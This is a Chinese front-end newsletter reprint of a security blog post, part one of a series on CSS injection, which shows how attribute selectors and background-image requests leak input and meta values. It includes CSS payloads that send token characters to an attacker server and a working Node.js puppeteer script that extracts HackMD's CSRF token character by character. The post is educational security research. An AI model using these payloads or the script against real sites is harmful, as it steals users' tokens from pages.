【第2750期】用 CSS 来偷数据 - CSS injection(上)
前言
玩法有点意思。今日前端早读课文章由 @huli 授权分享。
正文从这开始~~
在讲到针对网页前端的攻击时,你我的心中浮现的八成会是 XSS,但如果你没办法在网页上执行 JavaScript,有没有其他的攻击手法呢?例如说,假设可以插入 style 标签,你能够做些什麽?
在 2018 年的时候,我有写过一篇 ,那时刚好在 Hacker News 上面看到相关的讨论,于是就花了点时间研究了一下。
而 4 年后的现在,我从安全的角度重新认识了这个攻击手法,因此打算写一两篇文章来好好讲解 CSS injection。
这篇的文章内容包含:
什么是 CSS injection?
CSS 偷数据的原理
如何偷
hidden input
的数据如何偷
meta
的数据承上,并以 HackMD 为例
什么是 CSS injection?
顾名思义,CSS injection 代表的是你在一个页面上可以插入任何的 CSS 语法,或是讲得更明确一点,你可以使用 <style>
这个标签。你可能会好奇,为什么会有这种情况?
我自己认为常见的情况有两个,第一个是网站有过滤掉许多标签,但不觉得 <style>
有问题,所以没有过滤掉。例如说很多网站都会用现成的 library 来处理 sanitization,其中有一套很有名的叫做 。
在 DOMPurify (v2.4.0) 之中,预设就会帮你把各种危险的标签全都过滤掉,只留下一些安全的,例如说 <h1>
或是 <p>
这种,而重点是 <style>
也在预设的安全标签里面,所以如果你没有特别指定参数,在预设的情况下,<style>
是不会被过滤掉的,因此攻击者就可以注入 CSS。
第二种情况则是虽然可以插入 HTML,但是由于 CSP(Content Security Policy)的缘故,没有办法执行 JavaScript。既然没办法执行 JavaScript,就只能退而求其次,看看有没有办法利用 CSS 做出一些恶意行为。
那到底有了 CSS injection 之后可以干嘛?CSS 不是拿来装饰网页用的而已吗?难道帮网页的背景换颜色也可以是一个攻击手法?
利用 CSS 偷数据
CSS 确实是拿来装饰网页用的,但是只要结合两个特性,就可以使用 CSS 来偷数据。
第一个特性:属性选择器。
在 CSS 当中,有几个选择器可以选到 “属性符合某个条件的元素”。举例来说,input[value^=a]
,就可以选到 value 开头是 a 的元素。
类似的选择器有:
input[value^=a]
开头是 a 的(prefix)input[value$=a]
结尾是 a 的(suffix)input[value*=a]
内容有 a 的(contains)
而第二个特性是:可以利用 CSS 发出 request,例如说载入一张服务器上的背景图片,本质上就是在发一个 request。
假设现在页面上有一段内容是 <input name="secret" value="abc123">
,而我能够插入任何的 CSS,我可以这样写:
input[name="secret"][value^="a"] {
background: url(https://myserver.com?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://myserver.com?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://myserver.com?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://myserver.com?q=z)
}
会发生什么事情?
因为第一条规则有顺利找到对应的元素,所以 input
的背景就会是一张服务器上的图片,而浏览器就会发 request 到 https://myserver.com?q=a
。
因此,当我在 server 收到这个 request 的时候,我就知道 input
的 value
属性,第一个字符是 a,就顺利偷到了第一个字符。
这就是 CSS 之所以可以偷数据的原因,透过属性选择器加上载入图片这两个功能,就能够让 server 知道页面上某个元素的属性值是什么。
好,现在确认 CSS 可以偷属性的值了,接下来有两个问题:
有什么东西好偷?
你刚只示范偷第一个,要怎么偷第二个字符?
我们先来讨论第一个问题,有哪些东西可以偷?通常都是要偷一些敏感数据对吧?
最常见的目标,就是 CSRF token。如果你不知道什么是 CSRF,可以先看看我之前写过的这一篇:让我们来谈谈 CSRF。
简单来说呢,如果 CSRF token 被偷走,就有可能会被 CSRF 攻击,总之你就想成这个 token 很重要就是了。而这个 CSRF token,通常都会被放在一个 hidden input
中,像是这样:
<form action="/action">
<input type="hidden" name="csrf-token" value="abc123">
<input name="username">
<input type="submit">
</form>
我们该怎么偷到里面的数据呢?
偷 hidden input
对于 hidden input 来说,照我们之前那样写是没有效果的:
input[name="csrf-token"][value^="a"] {
background: url(https://example.com?q=a)
}
因为 input 的 type 是 hidden,所以这个元素不会显示在画面上,既然不会显示,那浏览器就没有必要载入背景图片,因此 server 不会收到任何 request。而这个限制非常严格,就算用 display:block
; 也没办法盖过去。
该怎么办呢?没关系,我们还有别的选择器,像是这样:
input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}
最后面多了一个 + input
,这个加号是另外一个选择器,意思是 “选到后面的元素”,所以整个选择器合在一起,就是 “我要选 name 是 csrf-token,value 开头是 a 的 input,的后面那个 input”,也就是 <input name="username">
。
所以,真正载入背景图片的其实是别的元素,而别的元素并没有 type=hidden
,所以图片会被正常载入。
那如果后面没有其他元素怎么办?像是这样:
<form action="/action">
<input name="username">
<input type="submit">
<input type="hidden" name="csrf-token" value="abc123">
</form>
以这个案例来说,在以前就真的玩完了,因为 CSS 并没有可以选到 “前面的元素” 的选择器,所以真的束手无策。
但现在不一样了,因为我们有了 :has
,这个选择器可以选到 “底下符合特殊条件的元素”,像这样:
form:has(input[name="csrf-token"][value^="a"]){
background: url(https://example.com?q=a)
}
意思就是我要选到 “底下有(符合那个条件的 input)的 form”,所以最后载入背景的会是 form,一样也不是那个 hidden input
。这个 has
selector 很新,从上个月底释出的 Chrome 105 开始才正式支持,目前只剩下 Firefox 的稳定版还没支持了,详情可看:caniuse
有了 has
以后,基本上就无敌了,因为可以指定改变背景的是哪个父元素,所以想怎么选就怎么选,怎样都选得到。
偷 meta
除了把数据放在 hidden input
以外,也有些网站会把资料放在 <meta>
里面,例如说 <meta name="csrf-token" content="abc123">
,meta 这个元素一样是看不见的元素,要怎么偷呢?
首先,如同上个段落的结尾讲的一样,has
是绝对偷得到的,可以这样偷:
html:has(meta[name="csrf-token"][content^="a"]) {
background: url(https://example.com?q=a);
}
但除此之外,还有其他方式也偷得到。
meta 虽然也看不到,但跟 hidden input
不同,我们可以自己用 CSS 让这个元素变成可见:
meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}
可是这样还不够,你会发现 request 还是没有送出,这是因为 meta
在 head
底下,而 head
也有预设的 display:none
属性,因此也要帮 head
特别设置,才会让 meta “能被看到”:
head, meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}
照上面这样写,就会看到浏览器发出 request。不过,画面上倒是没有显示任何东西,因为毕竟 content 是一个属性,而不是 HTML 的 text node
,所以不会显示在画面上,但是 meta
这个元素本身其实是看得到的,这也是为什么 request 会发出去:
如果你真的想要在画面上显示 content 的话,其实也做得到,可以利用伪元素搭配 attr
:
meta:before {
content: attr(content);
}
就会看到 meta 里面的内容显示在画面上了。
最后,让我们来看一个实际案例。
偷 HackMD 的数据
HackMD 的 CSRF token 放在两个地方,一个是 hidden input
,另一个是 meta
,内容如下:
<meta name="csrf-token" content="h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI">
而 HackMD 其实支持 <style>
的使用,这个标签不会被过滤掉,所以你是可以写任何的 style
的,而相关的 CSP 如下:
img-src * data:;
style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com
https://fonts.gstatic.com https://*.disquscdn.com;
font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com;
可以看到 unsafe-inline
是允许的,所以可以插入任何的 CSS。
确认可以插入 CSS 以后,就可以开始来准备偷数据了。还记得前面有一个问题没有回答,那就是 “该怎麽偷第一个以后的字符?”,我先以 HackMD 为例回答。
首先,CSRF token 这种东西通常重新整理就会换一个,所以不能重新整理,而 HackMD 刚好支持即时更新,只要内容变了,会立刻反映在其他 client 的画面上,因此可以做到 “不重新整理而更新 style”,流程是这样的:
准备好偷第一个字符的
style
,插入到 HackMD 里面面受害者打开页面
服务器收到第一个字节的 request
从服务器更新 HackMD 内容,换成偷第二个字符的 payload
受害者页面即时更新,载入新的
style
服务器收到第二个字符的 request
不断循环直到偷完所有字符
简单的示意图如下:
代码如下:
const puppeteer = require('puppeteer');
const express = require('express')
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// Create a hackMD document and let anyone can view/edit
const noteUrl = 'https://hackmd.io/1awd-Hg82fekACbL_ode3aasf'
const host = 'http://localhost:3000'
const baseUrl = host + '/extract?q='
const port = process.env.PORT || 3000
;(async function() {
const app = express()
const browser = await puppeteer.launch({
headless: true
});
const page = await browser.newPage();
await page.setViewport({ width: 1280, height: 800 })
await page.setRequestInterception(true);
page.on('request', request => {
const url = request.url()
// cancel request to self
if (url.includes(baseUrl)) {
request.abort()
} else {
request.continue()
}
});
app.listen(port, () => {
console.log(`Listening at http://localhost:${port}`)
console.log('Waiting for server to get ready...')
startExploit(app, page)
})
})()
async function startExploit(app, page) {
let currentToken = ''
await page.goto(noteUrl + '?edit');
// @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele
await page.addStyleTag({ content: "{scroll-behavior: auto;}" });
const initialPayload = generateCss()
await updateCssPayload(page, initialPayload)
console.log(`Server is ready, you can open ${noteUrl}?view on the browser`)
app.get('/extract', (req, res) => {
const query = req.query.q
if (!query) return res.end()
console.log(`query: ${query}, progress: ${query.length}/36`)
currentToken = query
if (query.length === 36) {
console.log('over')
return
}
const payload = generateCss(currentToken)
updateCssPayload(page, payload)
res.end()
})
}
async function updateCssPayload(page, payload) {
await sleep(300)
await page.click('.CodeMirror-line')
await page.keyboard.down('Meta');
await page.keyboard.press('A');
await page.keyboard.up('Meta');
await page.keyboard.press('Backspace');
await sleep(300)
await page.keyboard.sendCharacter(payload)
console.log('Updated css payload, waiting for next request')
}
function generateCss(prefix = "") {
const csrfTokenChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('')
return `
${prefix}
<style>
head, meta {
display: block;
}
${
csrfTokenChars.map(char => `
meta[name="csrf-token"][content^="${prefix + char}"] {
background: url(${baseUrl}${prefix + char})
}
`).join('\n')
}
</style>
`
}
可以直接用 Node.js 跑起来,跑起来以后在浏览器打开相对应的文件,就可以在 terminal 看到 leak 的进度。
不过呢,就算偷到了 HackMD 的 CSRF token
,依然还是没办法 CSRF,因为 HackMD 有在 server 检查其他的 HTTP request header
如 origin 或是 referer 等等,确保 request 来自合法的地方。
总结
在这篇里面,我们看到了之所以可以用 CSS 来偷数据的原理,说穿了就是利用 “属性选择器” 再加上 “载入图片” 这两个简单的功能,也示范了如何偷取 hidden input
跟 meta 里的数据,并且以 HackMD 当作实际案例说明。
但是呢,有几个问题我们还没解决,像是:
HackMD 因为可以即时同步内容,所以不需要重新整理就可以载入新的 style,那其他网站呢?该怎么偷到第二个以后的字符?
一次只能偷一个字符的话,是不是要偷很久呢?这在实际上可行吗?
有没有办法偷到属性以外的东西?例如说页面上的文字内容,或甚至是 JavaScript 的代码?
针对这个攻击手法的防御方式有哪些?
关于本文
作者:@huli
原文:https://blog.huli.tw/2022/09/29/css-injection-1/
通过本文了解选择器的妙用,那对 CSS 选择器有兴趣的,推荐下方这本
关于【CSS】相关推荐,欢迎读者自荐投稿,前端早读课等你来。+v:zhgb_f2er
【第2729期】如何让CSS计数器支持小数的动态变化?
【第2711期】利用CSS实现超长内容滚动播放